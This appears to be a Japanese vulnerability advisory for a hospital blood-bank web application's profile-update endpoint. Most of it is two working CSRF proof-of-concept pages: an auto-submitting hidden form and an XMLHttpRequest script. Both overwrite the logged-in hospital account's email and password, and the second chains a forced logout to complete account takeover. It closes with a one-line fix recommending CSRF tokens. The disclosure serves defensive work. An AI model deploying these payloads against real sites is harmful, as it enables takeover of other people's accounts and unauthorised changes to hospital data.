
病院のプロフィール更新によるアカウント乗っ取りを誘発するCSRF POC
/file/updateprofile.phpこのエンドポイント /file/updateprofile.php に CSRF 脆弱性があり、リモートユーザーが病院のユーザー詳細を更新でき、攻撃者がメールからパスワードまでのすべての情報を更新できるため、アカウント乗っ取りにつながる可能性があります。これにより、アカウント乗っ取りの可能性が効果的に高まります。
悪用に成功すると、被害者に代わってデータ削除などの不正な操作が行われる可能性があります。さらに、ペイロードを含む悪意のあるウェブサイトにアクセスすることで悪用される可能性があります。
以下は、ログインしている病院アカウントのプロフィール詳細を更新する CSRF POC攻撃の例です。ファイルを攻撃者が管理するドメインでホストします。私の場合は localhost を使用しました:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with Logout Redirect</title>
</head>
<body>
<h2>CSRF Proof of Concept with Chained Logout</h2>
<!-- Form to exploit CSRF vulnerability for updating profile -->
<form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
<input type="hidden" name="hname" value="parirenyatwa">
<input type="hidden" name="hemail" value="[email protected]">
<input type="hidden" name="hpassword" value="pari1234">
<input type="hidden" name="hphone" value="0777054000">
<input type="hidden" name="hcity" value="harare">
<input type="hidden" name="update" value="Update">
</form>
<script>
// Submit the CSRF form to update profile
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
攻撃者は、メールとパスワードを操作してプロフィール詳細を効果的に更新し、logout CSRF を強制することで、アカウント乗っ取りを達成できます。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
<h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>
<script>
// Define the target URLs for the CSRF attack
const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
const logoutUrl = "http://localhost.local/bloodbank/logout.php";
// Data for the profile update CSRF request
const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";
// Function to send the XMLHttpRequest
function sendCSRFUpdate() {
const xhr = new XMLHttpRequest();
xhr.open("POST", updateUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// When the request is complete, redirect to the logout page
xhr.onload = function() {
if (xhr.status === 200) {
console.log("Profile update CSRF request completed");
// Redirect to logout URL to log the victim out
window.location.href = logoutUrl;
} else {
console.error("Profile update failed with status:", xhr.status);
}
};
// Send the request with the update data
xhr.send(updateData);
}
// Trigger the CSRF attack by sending the update request
sendCSRFUpdate();
</script>
</body>
</html>
csrf tokens を含めてください。また、GET リクエストで状態を変更する操作を避けてください。